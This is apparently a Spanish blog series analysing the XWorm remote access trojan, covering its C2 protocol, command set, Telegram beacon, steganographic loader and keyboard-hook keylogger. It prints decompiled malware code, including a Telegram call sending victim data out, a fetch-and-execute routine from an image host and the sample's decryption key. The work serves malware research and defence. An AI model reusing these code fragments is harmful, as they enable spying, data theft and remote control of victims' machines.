Threat Anatomy

012 - Decodificando XWorm: Comando y Control

Fri, 02 May 2025 12:08:00 -0500

Introducción

A lo largo de esta serie, hemos visto y analizado distintas capacidades de XWorm:

Cómo XWorm está ofuscado, y parte de su contenido encriptado.
Cómo XWorm detecta si se está ejecutando en un ambiente virtualizado, o si está siendo analizado.
Cómo XWorm evade la inspección de Windows Defender, y cómo asegura su presencia continua en el sistema.
Cómo XWorm utiliza USBs para infectar nuevas víctimas.
Cómo XWorm intercepta transacciones de criptomonedas para robarlas.
Cómo XWorm utiliza esteganografía para obtener nuevas versiones de si mismo.

En este artículo, terminaremos de analizar XWorm al explorar sus capacidades de Comando y Control.

Análisis de la comunicación con servidor C2

Comenzamos el análisis revisando el código de la función akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ, la cual se ejecuta eternamente e invoca a la función BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD cada 3-10 segundos:

private static void akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ()
{
for (;;)
{
	Thread.Sleep(new Random().Next(3000, 10000));
	{
		BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD();
	}
}
}

El código de la función parece complicado por la ofuscación; sin embargo, podemos apreciar referencias a configuraciones de red (Socket, receiveBufferSize, sendBufferSize, ProtocolType.Tcp, Connect, etc):


0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.veYDgekcw0bU4jdnY5J8alsB4HT00HWcgPPZj69QgPj61tNLG4BgAEXSJQT6xfAcMu6F9y = -1L;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F = new byte[1];
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.vlofGR2jYYtgBo8ZJYQkrMJ7mCXyaeAUOvhz8Fj4oLsKfA6Z9Bjbu8w4L1oawDMPeG17oJ = new MemoryStream();
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.ReceiveBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.SendBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.Connect(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, Conversions.ToInteger(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.vaPrr1IV8frcD45YWkTGWcPr8LuQlXihBUinL));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.OkuWBmMkpuiVIW6eyvaKWy4CDDKrSTSQwnG6q8u9hJWeul4YEsKDRLLkQu3LmoAhGA89NA = true;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.j4FT1dlaJqQ3jblx3hdeFi6bjwXmQkMdBN8Pj3PmpcYjLDlRuFIRjW11zgFa91XkoXOwiA = RuntimeHelpers.GetObjectValue(new object());
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.oRkru4kYIVUPRva4enZYKUiXdip6AWo5GOCIlJY4K6mvXmarmBevCDWutpso4tvV9TT5Ir(Conversions.ToString(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.TvaCJXe9EYrimDi3sObeVd7NzQvx0fopFC38oM8zJpcyL1AYAFXAeSiuXHgr2BXkNMnCHQ()));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.BeginReceive(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F, 0, 0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F.Length, SocketFlags.None, new AsyncCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.o9x1mOeWpPy464ka6PK9zEVXVQ91kurk2fzW8Rr3WmGK2z2GmM1eU4MTUoPB9EVeoGziI0), null);
TimerCallback timerCallback = new TimerCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.lJC5FDMJRtcFIDSwjsw3CFlq3tIYZOUWMMB5b2xIAYivpM6VTJZGbzHVHiRvzCLIsmnI4m);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.RxLzJ8KpdWFhOHJ6LWJyvCEVqQ6FRPlJrmYVdFdutMN9WYYz7sB6jpLjMeXkK6aO5KvTTC = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));

Limpiando un poco el código obtenemos lo siguiente:

clase.vSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
...
clase.vBuffer = new byte[1];
clase.vMemoryStream = new MemoryStream();
clase.vSocket.ReceiveBufferSize = 51200;
clase.vSocket.SendBufferSize = 51200;
clase.vSocket.Connect(clase2.host, Conversions.ToInteger(clase2.port));
...
clase.vSocket.BeginReceive(clase.vBuffer, 0, clase.vBuffer.Length, SocketFlags.None, new AsyncCallback(clase.vCallBack), null);
TimerCallback timerCallback = new TimerCallback(clase.vState);
clase.vTimer = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));

Vemos que XWorm establece una conexión a un host y puerto, los cuales provienen de los valores desencriptados al iniciar el malware; luego, empieza a recibir el tráfico enviado por el servidor y lo almacena en un buffer (vBuffer), y, una vez termina de recibir tráfico, procede a llamar a una función (vCallBack).

Adicionalmente vemos que se crea un timer que cada 10-15 segundos llama a la función timerCallback.

La función invocada, vCallBack, utiliza una lógica propia para interpretar cualquier mensaje recibido por el servidor:

public static void vCallBack(IAsyncResult vTraficoRecibido)
{
	int num = clase.vSocket.EndReceive(vTraficoRecibido);
	if (num > 0)
	{
		if (clase.vControl == -1L)
		{
			if (clase.vBuffer[0] == 0)
			{
				clase.vControl = Conversions.ToLong(clase2.GetString(clase.vMemoryStream.ToArray()));
				clase.vMemoryStream.Dispose();
				clase.vMemoryStream = new MemoryStream();
				if (clase.vControl == 0L)
				{
					clase.vControl = -1L;
					clase.vSocket.BeginReceive(clase.vBuffer, 0, clase.vBuffer.Length, SocketFlags.None, new AsyncCallback(clase.vCallBack), clase.vSocket);
					return;
				}
				clase.vBuffer = new byte[(int)(clase.vControl - 1L) + 1];
			}
			else
			{
				clase.vMemoryStream.WriteByte(clase.vBuffer[0]);
			}
		}
		else
		{
			clase.vMemoryStream.Write(clase.vBuffer, 0, num);
			if (clase.vMemoryStream.Length == clase.vControl)
			{
				ThreadPool.QueueUserWorkItem(new WaitCallback(clase.vFuncAEjecutar), clase.vMemoryStream.ToArray());
				clase.vControl = -1L;
				clase.vMemoryStream.Dispose();
				clase.vMemoryStream = new MemoryStream();
				clase.vBuffer = new byte[1];
			}
			else
			{
				clase.vBuffer = new byte[(int)(clase.vControl - clase.vMemoryStream.Length - 1L) + 1];
			}
		}
		clase.vSocket.BeginReceive(clase.vBuffer, 0, clase.vBuffer.Length, SocketFlags.None, new AsyncCallback(clase.vCallBack), clase.vSocket);
	}
}

La función vCallBack se encarga de manejar los datos que recibimos desde el servidor de C2. XWorm espera que el servidor envíe sus instrucciones en tres partes:

Una cadena que representa el tamaño del payload (por ejemplo, “20”),
Un byte separador (\x00),
El payload propiamente dicho (las instrucciones).

Veamos paso a paso cómo el código maneja este protocolo:

Lectura de datos entrantes:
La función comienza llamando a EndReceive, que nos indica cuántos bytes fueron recibidos. Si no se recibió nada (num <= 0), la función termina.
Estado inicial – esperando el tamaño del payload:
Si la variable de control vControl es -1 (su valor inicial), aún estamos ensamblando el tamaño del payload a partir de los bytes recibidos.

Caso A: Se recibió el separador (vBuffer[0] == 0)
Esto indica que ya se completó la cadena que representa el tamaño. Los datos acumulados en vMemoryStream se convierten en un número, el cual se guarda en vControl.

Si el número convertido es 0, lo ignoramos (probablemente sea un keep-alive o una solicitud malformada) y se reinicia todo para seguir escuchando. En caso contrario, se prepara un buffer con el tamaño exacto para recibir el payload.
Caso B: Aún se está recibiendo el tamaño (vBuffer[0] != 0)
Significa que seguimos construyendo la cadena del tamaño byte por byte. El byte actual se añade al MemoryStream y se espera recibir más datos.

Fase de recepción del payload (vControl != -1):
En este punto, ya sabemos cuántos datos se deben recibir. Todos los bytes entrantes se escriben en el MemoryStream.

Si la cantidad total de bytes recibidos coincide con vControl, se ha ensamblado completamente el payload.
El payload se pasa entonces a vFuncAEjecutar utilizando un hilo del thread pool.
Después de colocar la tarea en cola para ejecución, XWorm reinicia el estado para prepararse para la siguiente instrucción.

Continuar recibiendo:
Después de manejar cualquier paquete de datos, la función vuelve a llamar a BeginReceive, de modo que queda lista para procesar el siguiente paquete de datos cuando llegue.

Desencriptado del payload

El servidor de C2 envía el payload cifrado; al invocar a la función vFuncAEjecutar esta utiliza el algoritmo Rijndael para desencriptar el payload:

public static byte[] bYp2DT0qddN2(byte[] vPayloadRecibido)
{
	RijndaelManaged rijndaelManaged = new RijndaelManaged();
	MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
	byte[] array;
	try
	{
		rijndaelManaged.Key = md5CryptoServiceProvider.ComputeHash(clase1.GetBytes(clase2.llave));
		rijndaelManaged.Mode = CipherMode.ECB;
		ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
		array = cryptoTransform.TransformFinalBlock(vPayloadRecibido, 0, vPayloadRecibido.Length);
	}
	return array;
}

En la muestra analizada la llave es <123456789>.

Ejecución de comandos

Una vez desencriptado el payload, este es dividido utilizando la función Strings.Split tomando como separador la cadena de texto <Xwormmm>, la cual fue obtenida al iniciar el malware:

string[] array = Strings.Split(clase1.GetString(clase1.bYp2DT0qddN2(vPayloadRecibido)), Conversions.ToString(clase.separador), -1, CompareMethod.Binary);
string text = array[0];
if (Operators.CompareString(text, "rec", false) == 0)
{
	zsvYKm3Krg57.UnsetProcessCritical();
	Application.Restart();
	Environment.Exit(0);
}
else if (Operators.CompareString(text, "CLOSE", false) == 0)
{
	zsvYKm3Krg57.UnsetProcessCritical();
	clase.vSocket.Shutdown(SocketShutdown.Both);
	clase.vSocket.Close();
	Environment.Exit(0);
}
...

El primer resultado de la separación del payload corresponde al comando, y la segunda parte a los argumentos que este recibe; por ejemplo, el payload Urlopen<Xwormmm>C:\Windows\System32\calc.exe ejecutaría el comando Urlopen, pasándole como argumento la ruta donde está la calculadora de Windows:

 if (Operators.CompareString(text, "Urlopen", false) == 0)
{
clase.Urlopen(array[1], false);
}

...
public static void Urlopen(string comando, bool descargar)
		{
			if (descargar)
			{
				try
				{
					ServicePointManager.Expect100Continue = true;
					ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
					ServicePointManager.DefaultConnectionLimit = 9999;
				}
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(comando);
				httpWebRequest.UserAgent = TFIW2FSLtw9S.yeTD98gQKyr3[new Random().Next(TFIW2FSLtw9S.yeTD98gQKyr3.Length)];
				httpWebRequest.AllowAutoRedirect = true;
				httpWebRequest.Timeout = 10000;
				httpWebRequest.Method = "GET";
				using ((HttpWebResponse)httpWebRequest.GetResponse())
				{
				}
			}
			else
			{
				Process.Start(comando);
			}
		}

XWorm soporta los siguientes comandos:

rec: modifica la criticidad del proceso de crítico a no-crítico y reinicia el programa
CLOSE: modifica la criticidad del proceso de crítico a no-crítico y cierra el programa
uninstall: elimina el malware y sus mecanismos de persistencia
update: actualiza el malware con la información enviada por el C2
DW/FM/LN: diferentes maneras de descargar y ejecutar programas
Urlopen: inicia el proceso que envía el C2 (por ejemplo “C:\Windows\System32\calc.exe”)
PCShutdown: apaga la computadora
PCRestart: reinicia la computadora
PCLogoff: cierra la sesión del usuario
StartDDos: inicia un ataque DDOS a la URL especificada por el atacante
StopDDos: detiene un ataque DDOS en ejecución
StartReport: envía los procesos en ejecución al servidor de C2
Xchat/ngrok: envía el ID de agente al servidor de C2
plugin: descarga y ejecuta un plugin
OfflineGet: captura lo que el usuario escribe (keylogger)
$Cap: saca una captura de pantalla del dispositivo y la envía al servidor de C2
MessageBox: muestra un mensaje al usuario

Conclusión

Luego de 7 artículos finalmente llegamos al objetivo de XWorm: es un RAT (Remote Access Trojan) que tiene múltiples capacidades:

Keylogger
Captura de criptomonedas
Sacar capturas de pantalla
Iniciar un ataque DDOS
Ejecutar un programa en el sistema
Descargar y ejecutar un programa (por ejemplo, un ransomware)
Instalación de plugins

La gran cantidad de capacidades que tiene XWorm, así como las medidas que toma para pasar desaparcibido, hacen de este un malware interesante para ser analizado; XWorm es un malware que sigue en constante evolución, con nuevas muestras apareciendo recientemente, por lo que será bueno revisar en unos meses qué nuevas técnicas ha implementado para seguir comprometiendo nuevas víctimas.

011 - Decodificando XWorm: Comunicación con Telegram y obtención de nueva variante

Wed, 16 Apr 2025 12:08:00 -0500

Introducción

En el artículo anterior vimos cómo XWorm intercepta y roba criptomonedas, así como cómo captura lo que su víctima está escribiendo; en este artículo analizaremos cómo XWorm le avisa a sus creadores que ha infectado a una nueva víctima, y cómo se actualiza de ser necesario.

Comunicación con Telegram

El código que utiliza XWorm para reportarse es simple de comprender:

using (WebClient webClient = new WebClient())
{
	string newLine = Environment.NewLine;
	string text = string.Concat(new string[]
	{
		"☠ [WizWorm]",
		newLine,
		newLine,
		"New Clinet : ",
		newLine,
		TFIW2FSLtw9S.FJMqXu7uvzCu(),
		newLine,
		newLine,
		"UserName : ",
		Environment.UserName,
		newLine,
		"OSFullName : ",
		2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Info.OSFullName
	});
	webClient.DownloadString(string.Concat(new string[]
	{
		"https://api.telegram.org/bot",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.nnOZhYK0wjpot1RoNGOJ1bkjxjVdRCDD7uXeR,
		"/sendMessage?chat_id=",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.LFycjzFw0leIPcKun6Ib6Mf8btUoQQknVTabA,
		"&text=",
		text
	}));
}

Con dar una mirada rápida al código, vemos que se envía el usuario que está ejecutando el malware (la víctima), así como el sistema operativo; también vemos el texto ☠ [WizWorm], que nos permite identificar al malware.

El malware invoca a la función FJMqXu7uvzCu, la cual genera un identificador único con información de la máquina de la víctima:

public static string FJMqXu7uvzCu()
{
	string text;
	try
	{
		text = TFIW2FSLtw9S.zH5IMQfj0k7d(string.Concat(new object[]
		{
			Environment.ProcessorCount,
			Environment.UserName,
			Environment.MachineName,
			Environment.OSVersion,
			new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
		}));
	}
	catch (Exception ex)
	{
		text = "Err HWID";
	}
	return text;
}

La función zH5IMQfj0k7d genera un hash MD5 de los valores obtenidos (número de nucleos de procesador, usuario, hostname del equipo, versión de SO y tamaño de disco duro), los concatena luego de convertirlos a hexadecimal, y obtiene los 20 primeros dígitos de la cadena resultante.

XWorm utiliza el API de Telegram para enviar los datos de la víctima a un grupo:

https://api.telegram.org/bot572051XXXX:AAF4KOAv3GXHFU0RS3g4XXXXXXXXXXXX__A/sendMessage?chat_id=-1001540XXXXXX&text=INFORMACIONUSUARIO

Obtención de nueva variante

Luego de reportarse mediante Telegram, XWorm inicia un nuevo hilo que descarga una imagen, la procesa y ejecuta el resultado:

public static void u4JX9v7FvmTG()
{
	Thread.Sleep(5000);
	try
	{
		ServicePointManager.Expect100Continue = true;
		ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
		ServicePointManager.DefaultConnectionLimit = 9999;
	}
	try
	{
		WebClient webClient = new WebClient();
		Bitmap bitmap = (Bitmap)Image.FromStream(webClient.OpenRead("https://i.ibb.co/DwrXXXX/Image.png"));
		List<byte> list = new List<byte>();
		object obj;
		object obj2;
		if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, checked(bitmap.Width - 1), 1, ref obj2, ref obj))
		{
			do
			{
				list.Add(bitmap.GetPixel(Conversions.ToInteger(obj), 0).R);
			}
			while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, obj2, ref obj));
		}
		AppDomain.CurrentDomain.Load(list.ToArray()).EntryPoint.Invoke(null, null);
	}
	catch (Exception ex2)
	{
		Thread.Sleep(2000);
	}
}

Si descargamos la imagen, es una imagen normal, y no es catalogada como maliciosa por Windows Defender. XWorm utiliza una técnica conocida como esteganografía, mediante la cual se oculta información dentro de archivos como imágenes, videos o textos.

Al analizar el código, vemos que itera por cada pixel de la imagen, extrae el componente rojo, y lo añade a una lista. Luego, utiliza el método AppDomain.Load para cargar la lista como un bloque de código, obtener el inicio del código mediante la propiedad Assembly.EntryPoint y finalmente, ejecuta el código mediante el método Invoke.

En la siguiente imagen podemos identificar los bytes 4D y 5A - MZ, característicos de programas .EXE:

Análisis

Evaluando las capacidades de XWorm, resulta curioso que primero ejecute actividades maliciosas como la captura de criptomonedas y configuración de un keylogger antes de reportarse a su atacante; esto probablemente es porque dichas actividades puede que ocasionen que el malware sea eliminado y prefirieron esperar a tener la certeza que dichas acciones no fueron bloqueadas antes de notificar que una nueva víctima ha sido comprometida.

XWorm sigue demostrando la creatividad de sus creadores al utilizar esteganografía para ocultar nuevas variantes de si mismo; la imagen que XWorm descarga es una imagen normal (no un .exe renombrado a .png), por lo que por si sola no puede ser ejecutada. Windows Defender o alguna herramienta que analice el tráfico de red vería la imagen, que sigue la especificación de PNG, y no generaría alguna alerta. Este tipo de técnica no usualmente utilizada es lo que hace curioso a XWorm (similar a la infección de nuevos dispositivos mediante USBs).

Próximos pasos

En el siguiente artículo finalizaremos el análisis de XWorm al desentrañar sus capacidades de Comando y Control.

010 - Decodificando XWorm: Keylogger y captura de criptomonedas

Wed, 19 Mar 2025 12:08:00 -0500

Introducción

En el artículo anterior vimos cómo XWorm utiliza dispositivos removibles para infectar nuevos equipos; en este artículo empezamos a analizar algunas de sus capacidades maliciosas, como lo son la captura de criptomonedas y keylogger.

Keylogger

Luego de copiarse a cualquier USB conectado al equipo, el malware crea dos hilos: uno invocando a la función MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz y otro a la función ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm

Keylogger: configuración

Comenzamos analizando la función MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz; dado que los nombres de las variables y clases están ofuscados, el análisis parece complicado:


private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z();
		}

...
public class nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj
	{
		public static void mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.gwErjDsnC1yo = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.jtmLNbYtCsof);
			Application.Run();
		}

		private static IntPtr DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.LowLevelKeyboardProc yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.8iakvQZQ3uCL, yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.n0nrWLA4QQMJ(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

Para facilitar el análisis, podemos reemplazar los nombres ofuscados por los tipos de objeto a los que hacen referencia:


private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			clase.funcionAAnalizar();
		}

...
public class clase
	{
		public static void funcionAAnalizar()
		{
			clase.vIntPtr = clase.fIntPtr(clase.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(clase.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = clase.fSetWindowsHookEx(clase.8iakvQZQ3uCL, pLLKP, clase.fGetModuleHandle(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

Las funciones GetModuleHandle y SetWindowsHookEx son importadas de kernel32.dll y user32.dll respectivamente:

[DllImport("kernel32.dll", CharSet = CharSet.Auto, EntryPoint = "GetModuleHandle", SetLastError = true)]
private static extern IntPtr n0nrWLA4QQMJ(string 2gOtdzHXuJup);
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]
private static extern IntPtr xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(int eaumUTNAkviChy2tqEDeM0SShTHsaeZlS7WQIrR7EyR8lZM20OAXvM1VFzYcRgJy5DScJX, clase.LowLevelKeyboardProc 7NjY5GRTVvwQvA6ZXa9y8nYzHZ4z7ajSdL6MUzh9kPwlM2eiTp3pk12WuNdPItI73IVkIz, IntPtr lLnF5cjxmOrjJ2FCk3G0pDgporhBDC0ER5EcU6BwjbOJTbGBD3o1vFBhGSs1UxqhgTWAhz, uint 5cfZ6xNJMxk4FBvpDa393dukNrMKnk6yiXAYCXSkorYfC1BbZVhyo4wVmPFPShBjROxIt3);

Con dicha información, podemos reemplazar el valor de la variable 8iakvQZQ3uCL y simplificar las funciones para entender mejor el código:

		public static void funcionAAnalizar()
		{
			clase.vIntPtr = clase.fIntPtr(clase.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(clase.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = SetWindowsHookEx(13, pLLKP, GetModuleHandle(currentProcess.ProcessName), 0);
			}
			return intPtr;
		}

La función SetWindowsHookEx recibe los siguientes parámetros:

idHook: Tipo de hook a ser configurado. 13 es de tipo “WH_KEYBOARD_LL” y sirve para monitorear eventos del teclado.
lpfn: Puntero al procedimiento a ejecutar (“pLLKP” en el código anterior)
hmod: Handle a la DLL que contiene el procedimiento. XWorm lo configura a su mismo proceso.
dwThreadId: Hilo al cual asociar el hook. 0 significa “asociar a todos los hilos”.

Para resumir, la función MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz realiza lo siguiente:

Invoca a una función que recibe como parámetro un procedimiento “callback”, que se ejecutará cuando se cumpla cierta condición.
La función invocada en el paso 1 utiliza la función SetWindowsHookEx, la cual importa de USER32.DLL, para configurar un gancho (hook) que monitoree eventos del teclado e invoque al procedimiento “callback” cuando ocurra un evento.
El procedimiento “callback” es de tipo LowLevelKeyboardProc, y es invocado cada vez que se registra un evento de teclado.

Dicho de otra manera, XWorm crea un nuevo hilo, el cual monitorea constantemente cualquier evento del teclado y llama a una función (procedimiento) de detectarse actividad.

Keylogger: ejecución

Ahora, analicemos el procedimiento invocado por partes:

private static IntPtr rHzPCfhAysljAD7Z8nXRLld8JvZxRY7URgDHWWn5v53nbYoJ9VMmtNFi8wUKBindqhIXYI(int JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL, IntPtr RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l, IntPtr uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX)
		{
			if (JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL >= 0 && RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX);
				object obj2 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(20) & 65535) != 0;
				object obj3 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(160) & 32768) != 0 || ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(161) & 32768) != 0;
				object obj4 = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.w7RxULSKw1Nl9nqQAu7jggFp1ssG5Ke8X1zOrxdHQj2xMKsLF0sUryONm13ZONJBo8grrI(Conversions.ToUInteger(obj));
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetKeyState", ExactSpelling = true)]
		private static extern short E7DLvYqDXgLo(int zybtWxM2jgdH);

Si reemplazamos las funciones y variables ofuscadas por lo que nos indica la documentación de LowLevelKeyboardProc obtenemos lo siguiente:

private static IntPtr pLLKP(int nCode, IntPtr wParam, IntPtr lParam)
		{
			if (nCode >= 0 && wParam == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(lParam);
				object obj2 = ((int)GetKeyState(20) & 65535) != 0;
